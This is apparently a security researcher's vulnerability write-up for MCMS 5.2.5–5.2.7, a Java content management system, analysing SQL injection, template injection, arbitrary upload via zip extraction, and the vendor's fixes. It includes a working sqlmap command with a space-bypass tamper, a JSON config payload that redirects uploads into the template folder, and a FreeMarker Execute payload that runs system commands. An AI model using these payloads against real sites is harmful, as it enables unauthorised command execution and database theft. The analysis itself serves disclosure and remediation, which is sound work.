0x01 环境搭建

前台模板注入：mcms 5.2.5
剩下的环境都是mcms 5.2.7

0x02 前台

2.1 sql注入

项目中的代码大部分都是通过拉取发布在Maven上的代码。

其中存在sql注入的接口为net.mingsoft.mdiy.action.web.DictAction类的list()方法和listExcludeApp()方法。
/mdiy/dict/list：调用了IDictBiz#query()方法，查找具体实现。

可以看到这里判断orderBy是否为空，如果不为空并且值不为id、dictType、dictSort这三个值的话就会进入到otherwise中，导致sql语句拼接，造成sql注入。
而orderBy参数则是通过DictEntity实体类的父类net.mingsoft.base.entity.BaseEntity实体类的orderBy字段从请求中获取值的。

可以进行报错注入。

在实战利用中，发现过滤了空格，可以使用/**/进行绕过，也可以在sqlmap利用时指定绕过空格的tamper。
python sqlmap.py -u "[http://127.0.0.1:8080/mdiy/dict/list.do?dictType=%E6%96%87%E7%AB%A0%E5%B1%9E%E6%80%A7&orderBy=1"](http://127.0.0.1:8080/mdiy/dict/list.do?dictType=%E6%96%87%E7%AB%A0%E5%B1%9E%E6%80%A7&orderBy=1") -p orderBy --dbs --tamper "space2comment.py" --batch

同理，另一个接口/mdiy/dict/listExcludeApp也是一样的。
/cms/content/list.do接口也存在sql注入，在categoryId这个参数中。contentType参数传入逗号会被分割，只能用个sleep函数娱乐一下，不知道大佬们有没有好的想法。


修复：删除了，防止sql语句的拼接。

2.2 模板注入

利用版本： <5.2.6
小结：该模板注入漏洞通过前台的ueditor修改配置将模板文件上传至模板文件夹中，再通过前台渲染模板接口执行命令。
editor接口代码：
可以看到只传入了一个jsonConfig参数，这个参数在实例化MsUeditorActionEnter对象时被传入，跟入其构造函数。

@ResponseBody
@RequestMapping(value = "editor", method = {RequestMethod.GET,RequestMethod.POST})
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
    String rootPath = BasicUtil.getRealPath("");
    File saveFloder = new File(this.uploadFloderPath);
    if (saveFloder.isAbsolute()) {
        rootPath = saveFloder.getPath();
        jsonConfig = jsonConfig.replace("{ms.upload}", "");
    } else {
        jsonConfig = jsonConfig.replace("{ms.upload}", "/" + this.uploadFloderPath);
    }

    String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""))).exec();
    if (saveFloder.isAbsolute()) {
        Map data = (Map)JSON.parse(json);
        data.put("url", this.uploadMapping.replace("/**", "") + data.get("url"));
        return JSON.toJSONString(data);
    } else {
        return json;
    }
}

MsUeditorActionEnter构造函数代码：
先是调用了父类的构造函数，初始化一些参数，其中这个actionType字段在后面会用到：

可以看到先是获取了ConfigManager实例中的jsonConfig对象，然后将传入的jsonConfig参数对进行解析，最后将这些键值对put到ConfigManager实例的jsonConfig对象中，也就是说我们可以控制ueditor的配置。
然后调用了其父类的exec()方法。

public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {
    super(request, rootPath);
    if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {
        this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));
        ConfigManager config = this.getConfigManager();
        setValue(config, "rootPath", rootPath);
        JSONObject _jsonConfig = new JSONObject(jsonConfig);
        JSONObject jsonObject = config.getAllConfig();
        Iterator iterator = _jsonConfig.keys();

        while(iterator.hasNext()) {
            String key = (String)iterator.next();
            jsonObject.put(key, _jsonConfig.get(key));
        }

    }
}

exec()方法代码：
如果callback为空则调用invoke()方法。

public String exec() {
    String callbackName = this.request.getParameter("callback");
    if (callbackName != null) {
        return !this.validCallbackName(callbackName) ? (new BaseState(false, 401)).toJSONString() : callbackName + "(" + this.invoke() + ");";
    } else {
        return this.invoke();
    }
}

invoke()方法代码：
this.actionType的值为参数action来决定，想要代码正常运行需要action的值不为空并且actionType的值需要为ActionMap.mapping键值，然后根据key来获取value。
可以看到在下面的switch语句中有一个名为UPLOAD_FILE的常量，估计就是文件上传的处理逻辑了。

public String invoke() {
    
    if ( actionType == null || !ActionMap.mapping.containsKey( actionType ) ) {
        return new BaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
    }
    
    if ( this.configManager == null || !this.configManager.valid() ) {
        return new BaseState( false, AppInfo.CONFIG_ERROR ).toJSONString();
    }
    
    State state = null;
    
    int actionCode = ActionMap.getType( this.actionType );
    
    Map<String, Object> conf = null;
    
    switch ( actionCode ) {
    
        case ActionMap.CONFIG:
            return this.configManager.getAllConfig().toString();
            
        case ActionMap.UPLOAD_IMAGE:
        case ActionMap.UPLOAD_SCRAWL:
        case ActionMap.UPLOAD_VIDEO:
        case ActionMap.UPLOAD_FILE:
            conf = this.configManager.getConfig( actionCode );
            state = new Uploader( request, conf ).doExec();
            break;
            
        case ActionMap.CATCH_IMAGE:
            conf = configManager.getConfig( actionCode );
            String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
            state = new ImageHunter( conf ).capture( list );
            break;
            
        case ActionMap.LIST_IMAGE:
        case ActionMap.LIST_FILE:
            conf = configManager.getConfig( actionCode );
            int start = this.getStartIndex();
            state = new FileManager( conf ).listFile( start );
            break;
            
    }
    
    return state.toJSONString();
    
}

键值对对应表：

接下来我们主要查看当actionCode为4的情况，因为Uploader这个类看起来像是文件上传的功能点，可以让我们上传模板文件。
Uploader#doExec()方法：
分别查看两个save方法。

首先查看Base64Uploader#save()方法：
可以看到这里指定了后缀名为.jpg，所以无法上传其他类型的文件。

public static State save(String content, Map<String, Object> conf) {
    byte[] data = decode(content);
    long maxSize = (Long)conf.get("maxSize");
    if (!validSize(data, maxSize)) {
        return new BaseState(false, 1);
    } else {
        String suffix = FileType.getSuffix("JPG");
        String savePath = PathFormat.parse((String)conf.get("savePath"), (String)conf.get("filename"));
        savePath = savePath + suffix;
        String physicalPath = (String)conf.get("rootPath") + savePath;
        State storageState = StorageManager.saveBinaryFile(data, physicalPath);
        if (storageState.isSuccess()) {
            storageState.putInfo("url", PathFormat.format(savePath));
            storageState.putInfo("type", suffix);
            storageState.putInfo("original", "");
        }

        return storageState;
    }
}

我们再查看BinaryUploader#save()方法：
首先要满足ContentType类型为MultipartContent，也就是上传文件的ContentType。
这里做的过滤是会从配置中获取allowFiles的值，如果后缀不在可以上传的类型中的话就会上传失败。但是配置是可控的，所以只需要修改配置加上我们想要上传的文件的后缀即可上传。

public static final State save(HttpServletRequest request,
        Map<String, Object> conf) {
    FileItemStream fileStream = null;
    boolean isAjaxUpload = request.getHeader( "X_Requested_With" ) != null;

    if (!ServletFileUpload.isMultipartContent(request)) {
        return new BaseState(false, AppInfo.NOT_MULTIPART_CONTENT);
    }

    ServletFileUpload upload = new ServletFileUpload(
            new DiskFileItemFactory());

    if ( isAjaxUpload ) {
        upload.setHeaderEncoding( "UTF-8" );
    }

    try {
        FileItemIterator iterator = upload.getItemIterator(request);

        while (iterator.hasNext()) {
            fileStream = iterator.next();

            if (!fileStream.isFormField())
                break;
            fileStream = null;
        }

        if (fileStream == null) {
            return new BaseState(false, AppInfo.NOTFOUND_UPLOAD_DATA);
        }

        String savePath = (String) conf.get("savePath");
        String originFileName = fileStream.getName();
        String suffix = FileType.getSuffixByFilename(originFileName);

        originFileName = originFileName.substring(0,
                originFileName.length() - suffix.length());
        savePath = savePath + suffix;

        long maxSize = ((Long) conf.get("maxSize")).longValue();

        if (!validType(suffix, (String[]) conf.get("allowFiles"))) {
            return new BaseState(false, AppInfo.NOT_ALLOW_FILE_TYPE);
        }

        savePath = PathFormat.parse(savePath, originFileName);

        String physicalPath = (String) conf.get("rootPath") + savePath;

        InputStream is = fileStream.openStream();
        State storageState = StorageManager.saveFileByInputStream(is,
                physicalPath, maxSize);
        is.close();

        if (storageState.isSuccess()) {
            storageState.putInfo("url", PathFormat.format(savePath));
            storageState.putInfo("type", suffix);
            storageState.putInfo("original", originFileName + suffix);
        }

        return storageState;
    } catch (FileUploadException e) {
        return new BaseState(false, AppInfo.PARSE_REQUEST_ERROR);
    } catch (IOException e) {
    }
    return new BaseState(false, AppInfo.IO_ERROR);
}

找到对应的配置名：

查看默认的配置：

默认的上传路径为/ueditor/jsp/upload/file/，但是为了之后模板的渲染，我们需要将其上传到/template/1/default目录下，所以需要修改保存的路径。

{"fileAllowFiles": [".htm"],
"filePathFormat": "/template/1/default/{time}"}

执行命令的模板语句：
大致分析一下，标签中构造了一个ex，new函数可以创建一个继承自freemarker.template.TemplateModel类的实例，实例化可用的对象来执行命令。

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}

exec方法传入的是String而不是数组，所以命令之间不能存在空格，但是可以直接使用base64编码绕过然后getshell。


接下来需要查找可以渲染模板的接口，将我们上传的htm文件渲染，执行模板语句。
在实战中可能修改了模板文件夹的名称，不一定为default。

修复之后的代码：
获取传入的jsonConfig然后和配置文件开头不一样则抛出异常，只是修复了前台文件上传模板文件，不能从前台getshell。

@ResponseBody
@RequestMapping(value = "editor", method = {RequestMethod.GET,RequestMethod.POST})
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
    String uploadMapping = MSProperties.upload.mapping;
    String uploadFloderPath = MSProperties.upload.path;
    if (StringUtils.isNotEmpty(uploadFloderPath) && !uploadFloderPath.startsWith("/")){
        uploadFloderPath = "/"+uploadFloderPath;
    }
    String rootPath = BasicUtil.getRealPath("");
    //如果是绝对路径就直接使用配置的绝对路径
    File saveFloder=new File(uploadFloderPath);
    if (saveFloder.isAbsolute()) {
        rootPath = saveFloder.getPath();
        //因为绝对路径已经映射了路径所以隐藏
        jsonConfig = jsonConfig.replace("{ms.upload}", "");
    } else {
        //如果是相对路径替换成配置的路径
        jsonConfig = jsonConfig.replace("{ms.upload}","/"+uploadFloderPath);
    }
    //过滤非法上传路径
    String path = "/"+uploadFloderPath;
    Map<String,Object> map = (Map<String,Object>) JSONObject.parse(jsonConfig);
    String imagePathFormat = (String) map.get("imagePathFormat");
    imagePathFormat = normalize(imagePathFormat,uploadFloderPath);

    String filePathFormat = (String) map.get("filePathFormat");
    filePathFormat = normalize(filePathFormat,uploadFloderPath);

    String videoPathFormat = (String) map.get("videoPathFormat");
    videoPathFormat = normalize(videoPathFormat,uploadFloderPath);

    map.put("imagePathFormat",imagePathFormat);
    map.put("filePathFormat",filePathFormat);
    map.put("videoPathFormat",videoPathFormat);

    jsonConfig = JSONObject.toJSONString(map);

    MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""));
    String json = actionEnter.exec();
    if (saveFloder.isAbsolute()) {
        //如果是配置的绝对路径需要在前缀加上映射路径
        Map data = (Map) JSON.parse(json);
        data.put("url", uploadMapping.replace("/**", "") + data.get("url"));
        return JSON.toJSONString(data);
    }
    return json;
}

private String normalize(String filePath,String uploadFloderPath){
    filePath = FileUtil.normalize(filePath);
    if (!filePath.startsWith(uploadFloderPath)){
        throw new BusinessException("非法路径!");
    }
    return filePath;
}

0x03 后台

3.1 任意文件上传

压缩包上传接口：/ms/file/uploadTemplate.do
首先调用了checkUploadPath()方法判断了压缩包的文件名中是否包含了../和..\则报错。
但是在实际上传中这个UploadPath的值是空的，在下一个if判断中会对uploadPath进行赋值，这个UploadPath应该是自己设置的一个上传文件的文件夹。

接着来到了上传文件的处理方法：
先是对上传的文件名进行了判断，如果是.exe、.sh、.jsp、.jspx的文件则不能上传，然后将文件名修改为当前的时间戳，再返回上传文件的相对路径。

public ResultData uploadTemplate(Config config) throws IOException {
    String uploadTemplatePath = MSProperties.upload.template;
    String uploadFileDenied = MSProperties.upload.denied;
    String[] errorType = uploadFileDenied.split(",");
    //文件上传类型限制
    //获取文件名字
    String fileName=config.getFile().getOriginalFilename();
    if(fileName.lastIndexOf(".")<0){
        LOG.info("文件格式错误:{}",fileName);
        return ResultData.build().error(getResString("err.error", getResString("file.name")));
    }
    //获取文件类型
    String fileType=fileName.substring(fileName.lastIndexOf("."));
    //判断上传路径是否为绝对路径
    boolean isReal = new File(uploadTemplatePath).isAbsolute();
    String realPath=null;
    if(!isReal){
        //如果不是就获取当前项目路径
        realPath=BasicUtil.getRealPath("");
    }
    else {
        //如果是就直接取改绝对路径
        realPath=uploadTemplatePath;
    }
    //修改文件名
    if(!config.isRename()){
        fileName=config.getFile().getOriginalFilename();
        //Windows 系统下文件名最后会去掉. 这种文件默认拒绝  xxx.jsp. => xxx.jsp
        if(fileName.endsWith(".")&&System.getProperty("os.name").startsWith("Windows")){
            LOG.info("文件类型被拒绝:{}",fileName);
            return ResultData.build().error(getResString("err.error", getResString("file.type")));
        }
        fileType=fileName.substring(fileName.lastIndexOf("."));
    }else {
        //取随机名
        fileName=System.currentTimeMillis()+fileType;
    }
    for (String type : errorType) {
        //校验禁止上传的文件后缀名（忽略大小写）
        if((fileType).equalsIgnoreCase(type)){
            LOG.info("文件类型被拒绝:{}",fileType);
            return ResultData.build().error(getResString("err.error", getResString("file.type")));
        }
    }
    // 上传的文件路径,判断是否填的绝对路径
    String uploadFolder = realPath +  File.separator;
    //修改upload下的上传路径
    if(StringUtils.isNotBlank(config.getUploadPath())){
        uploadFolder+=config.getUploadPath()+ File.separator;
    }
    //保存文件
    File saveFolder = new File(uploadFolder);
    File saveFile=new File(uploadFolder,fileName);
    if(!saveFolder.exists()){
        FileUtil.mkdir(saveFolder);
    }
    config.getFile().transferTo(saveFile);
    //绝对映射路径处理
    String path= uploadFolder.replace(realPath,"")
            //添加文件名
            +  Const.SEPARATOR + fileName;
    //替换多余
    return ResultData.build().success(new File(Const.SEPARATOR + path).getPath().replace("\\","/").replace("//","/"));
}

解压压缩包接口：/ms/template/unZip.do?fileUrl=%2Ftemplate%2F1%2F1663232945732.zip
传入一个fileUrl参数，该参数为压缩包所在的位置，先是对../和..\进行检测，然后调用unzip方法进行解压。

读取了压缩包的文件流到实例化的ZipArchiveInputStream对象中，遍历压缩包中的entry，然后判断entry是否为目录，如果是目录就创建一个目录，如果不是目录就直接保存文件。

private  void unzip(File zipFile, String descDir) throws IOException {
    ZipArchiveInputStream inputStream = new ZipArchiveInputStream(new BufferedInputStream(new FileInputStream(zipFile)));
    File pathFile = new File(descDir);
    if (!pathFile.exists()) {
        pathFile.mkdirs();
    }
    ZipArchiveEntry entry = null;
    while ((entry = inputStream.getNextZipEntry()) != null) {
        String[] dirs = entry.getName().split("/");
        String tempDir = descDir;
        for(String dir:dirs) {
            if(dir.indexOf(".")==-1) {
                tempDir += File.separator.concat(dir);
                FileUtil.mkdir(tempDir);
            }
        }
        if (entry.isDirectory()) {
            File directory = new File(descDir, entry.getName());
            directory.mkdirs();
        } else {
            //说明压缩包没有在一个文件夹下面
//                if (!dir) {
//                    FileUtil.del(zipFile);
//                    throw new BusinessException("模版结构不对，所有的模版文件夹必须在一个文件夹下，例如:web\\index.htm,web\\list.htm");
//                }
            OutputStream os = null;
            try {
                LOG.debug("file name => {}",entry.getName());
                try {
                    os = new BufferedOutputStream(new FileOutputStream(new File(descDir, entry.getName())));
                    //输出文件路径信息
                    IOUtils.copy(inputStream, os);
                } catch (FileNotFoundException e) {
                    LOG.error("模版解压{}不存在",entry.getName());
                    e.printStackTrace();

                }
            } finally {
                IOUtils.closeQuietly(os);
            }
        }
    }
}

这里就有一个问题，虽然在上传压缩包的时候对后缀进行了过滤，但是并没有压缩包中的文件的后缀进行过滤，导致了文件上传绕过，虽然说有前台文件上传点，但是解压缩包的接口需要登录后台。
漏洞修复的话可以通过对entry遍历文件名的同时也对后缀名进行过滤，当压缩包中有.jsp、.jspx文件时抛出异常返回异常页面。
但是这里是先解压再删除文件，不知道存不存在条件竞争文件上传。

3.2 模板注入

登录后台之后直接修改模板，渲染之后即可直接执行命令：


/mcms/search接口调用了ParserUtil.rendering(search, params)方法进行模板渲染。其中search的值为传入的tmpl参数。
除了这个接口其他三个接口的模板文件路径都是不可控的。

3.3 sql注入

verify接口：
可以看到调用了父类的BaseAction#validated()方法，如果id为空则不传入。

这里实例化了一个HashMap，传入了fieldName和fieldValue，应该会在where语句中用到。调用了queryBySql()方法，跟入查看。

可以看到传入的where Map会被分割成一个个and ${key} = #{item}的sql语句，这里的key是可控的，造成sql注入。


日志中的sql语句为：

0x04 参考链接

https://gitee.com/mingSoft/MCMS/issues/I54VLM
https://gitee.com/mingSoft/MCMS/issues/I5OWGU
https://gitee.com/mingSoft/MCMS/issues/I56AID
https://gitee.com/mingSoft/MCMS/issues/I4W1S9